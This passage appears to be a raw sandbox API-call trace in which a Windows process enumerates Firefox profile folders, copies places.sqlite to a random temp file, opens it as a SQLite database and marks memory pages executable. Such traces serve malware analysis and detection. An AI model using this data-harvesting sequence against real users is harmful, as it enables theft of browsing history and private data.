lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x3c [0164.155] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0164.155] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.155] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df7f0 | out: lpFindFileData=0x1e7df7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf4500380, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df760*=0x0, psz="203503", len=0x6 | out: pbstr=0x1e7df760*="203503") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df704*=0x0, psz="6576", len=0x4 | out: pbstr=0x1e7df704*="6576") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df700*=0x0, psz="5189", len=0x4 | out: pbstr=0x1e7df700*="5189") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df6fc*=0x0, psz="2886", len=0x4 | out: pbstr=0x1e7df6fc*="2886") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df6f8*=0x0, psz="2638", len=0x4 | out: pbstr=0x1e7df6f8*="2638") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df774*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\places.sqlite", len=0x5a | out: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\places.sqlite") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df70c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\places.sqlite", len=0x5a | out: pbstr=0x1e7df70c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\places.sqlite") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\places.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\places.sqlite", len=0x5a | out: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\places.sqlite") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df708*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite", len=0x59 | out: pbstr=0x1e7df708*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\places.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite", len=0x59 | out: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df704*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite", len=0x59 | out: pbstr=0x1e7df704*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned 1 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite", len=0x59 | out: pbstr=0x1e7df774*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite") returned 1 [0164.156] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0164.156] SysReAllocStringLen (in: pbstr=0x1e7df770*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", len=0x3f | out: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 1 [0164.157] SysReAllocStringLen (in: pbstr=0x1e7df70c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", len=0x3f | out: pbstr=0x1e7df70c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 1 [0164.157] SysReAllocStringLen (in: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", len=0x3f | out: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 1 [0164.157] SysReAllocStringLen (in: pbstr=0x1e7df708*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", len=0x3f | out: pbstr=0x1e7df708*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 1 [0164.157] SysReAllocStringLen (in: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", len=0x3f | out: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 1 [0164.157] SysReAllocStringLen (in: pbstr=0x1e7df704*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", len=0x3f | out: pbstr=0x1e7df704*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 1 [0164.157] SysReAllocStringLen (in: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", len=0x3f | out: pbstr=0x1e7df770*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 1 [0164.157] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\places.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\places.sqlite"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp"), bFailIfExists=1) returned 1 [0165.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x412000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.454] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", cchWideChar=63, lpMultiByteStr=0x1e7de708, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", lpUsedDefaultChar=0x0) returned 63 [0165.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.454] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfeefc, cbMultiByte=63, lpWideCharStr=0x1e7de6e8, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 63 [0165.455] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfef48, cbMultiByte=63, lpWideCharStr=0x1e7de708, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmpist") returned 63 [0165.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.456] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp")) returned 0x2020 [0165.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0165.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x1fe1b080, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 64 [0165.457] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0165.457] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", nBufferLength=0x43, lpBuffer=0x1fe03ca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", lpFilePart=0x0) returned 0x3f [0165.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0165.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", cchWideChar=-1, lpMultiByteStr=0x1fe1b040, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp", lpUsedDefaultChar=0x0) returned 64 [0165.457] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0165.458] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x1fe2b080, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp") returned 64 [0165.458] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1e7df520 | out: lpFileInformation=0x1e7df520*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6241f40, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa6241f40, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa01f3180, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0xa00000)) returned 1 [0165.458] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0165.458] ReadFile (in: hFile=0x66c, lpBuffer=0x1e7df650, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x1e7df614, lpOverlapped=0x1e7df5d8 | out: lpBuffer=0x1e7df650*, lpNumberOfBytesRead=0x1e7df614*=0x64, lpOverlapped=0x1e7df5d8) returned 1 [0165.460] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0165.464] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9d8 | out: lpOverlapped=0x1e7de9d8) returned 1 [0165.464] LockFileEx (in: hFile=0x66c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9cc | out: lpOverlapped=0x1e7de9cc) returned 1 [0165.464] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de9dc | out: lpOverlapped=0x1e7de9dc) returned 1 [0165.464] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0165.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b629, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=72 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-journal") returned 72 [0165.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9d8 | out: lpFileInformation=0x1e7de9d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0165.465] GetLastError () returned 0x2 [0165.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0165.465] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b671, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-wal") returned 68 [0165.465] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9f0 | out: lpFileInformation=0x1e7de9f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0165.465] GetLastError () returned 0x2 [0165.465] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7dea1c | out: lpFileSizeHigh=0x1e7dea1c*=0x0) returned 0xa00000 [0165.465] ReadFile (in: hFile=0x66c, lpBuffer=0x1feebbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7de9f8, lpOverlapped=0x1e7de9bc | out: lpBuffer=0x1feebbe0*, lpNumberOfBytesRead=0x1e7de9f8*=0x8000, lpOverlapped=0x1e7de9bc) returned 1 [0165.466] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0165.466] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b671, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-wal") returned 68 [0165.466] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de990 | out: lpFileInformation=0x1e7de990*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0165.466] GetLastError () returned 0x2 [0165.466] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0165.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fef4170, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0165.467] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fef4170, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-shm") returned 68 [0165.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-shm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-shm"), fInfoLevelId=0x0, lpFileInformation=0x1e7de8c8 | out: lpFileInformation=0x1e7de8c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0165.467] GetLastError () returned 0x2 [0165.467] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2035036576518928862638.tmp-shm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2035036576518928862638.tmp-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x670 [0165.468] LockFileEx (in: hFile=0x670, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de918 | out: lpOverlapped=0x1e7de918) returned 1 [0165.468] SetFilePointer (in: hFile=0x670, lDistanceToMove=0, lpDistanceToMoveHigh=0x1e7de93c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1e7de93c*=0) returned 0x0 [0165.468] SetEndOfFile (hFile=0x670) returned 1 [0165.468] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de91c | out: lpOverlapped=0x1e7de91c) returned 1 [0165.468] LockFileEx (in: hFile=0x670, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de910 | out: lpOverlapped=0x1e7de910) returned 1 [0165.468] GetFileSize (in: hFile=0x670, lpFileSizeHigh=0x1e7de964 | out: lpFileSizeHigh=0x1e7de964*=0x0) returned 0x0 [0165.468] LockFileEx (in: hFile=0x670, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de968 | out: lpOverlapped=0x1e7de968) returned 1 [0165.468] GetFileSize (in: hFile=0x670, lpFileSizeHigh=0x1e7de964 | out: lpFileSizeHigh=0x1e7de964*=0x0) returned 0x0 [0165.468] SetFilePointer (in: hFile=0x670, lDistanceToMove=32768, lpDistanceToMoveHigh=0x1e7de95c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1e7de95c*=0) returned 0x8000 [0165.468] SetEndOfFile (hFile=0x670) returned 1 [0165.469] CreateFileMappingW (hFile=0x670, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8000, lpName=0x0) returned 0x674 [0165.469] MapViewOfFile (hFileMappingObject=0x674, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8000) returned 0x70000 [0165.469] LockFileEx (in: hFile=0x670, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x7, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de8e8 | out: lpOverlapped=0x1e7de8e8) returned 1 [0165.469] GetFileSize (in: hFile=0xf4, lpFileSizeHigh=0x1e7de944 | out: lpFileSizeHigh=0x1e7de944*=0x0) returned 0x0 [0165.469] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x7, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de8ec | out: lpOverlapped=0x1e7de8ec) returned 1 [0165.469] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de96c | out: lpOverlapped=0x1e7de96c) returned 1 [0165.469] LockFileEx (in: hFile=0x670, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de990 | out: lpOverlapped=0x1e7de990) returned 1 [0165.470] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7dea1c | out: lpFileSizeHigh=0x1e7dea1c*=0x0) returned 0xa00000 [0165.470] ReadFile (in: hFile=0x66c, lpBuffer=0x1feebbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x1e7de9f8, lpOverlapped=0x1e7de9bc | out: lpBuffer=0x1feebbe0*, lpNumberOfBytesRead=0x1e7de9f8*=0x8000, lpOverlapped=0x1e7de9bc) returned 1 [0165.478] UnlockFileEx (in: hFile=0x670, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de6cc | out: lpOverlapped=0x1e7de6cc) returned 1 [0165.478] LockFileEx (in: hFile=0x670, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de698 | out: lpOverlapped=0x1e7de698) returned 1 [0165.480] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7de724 | out: 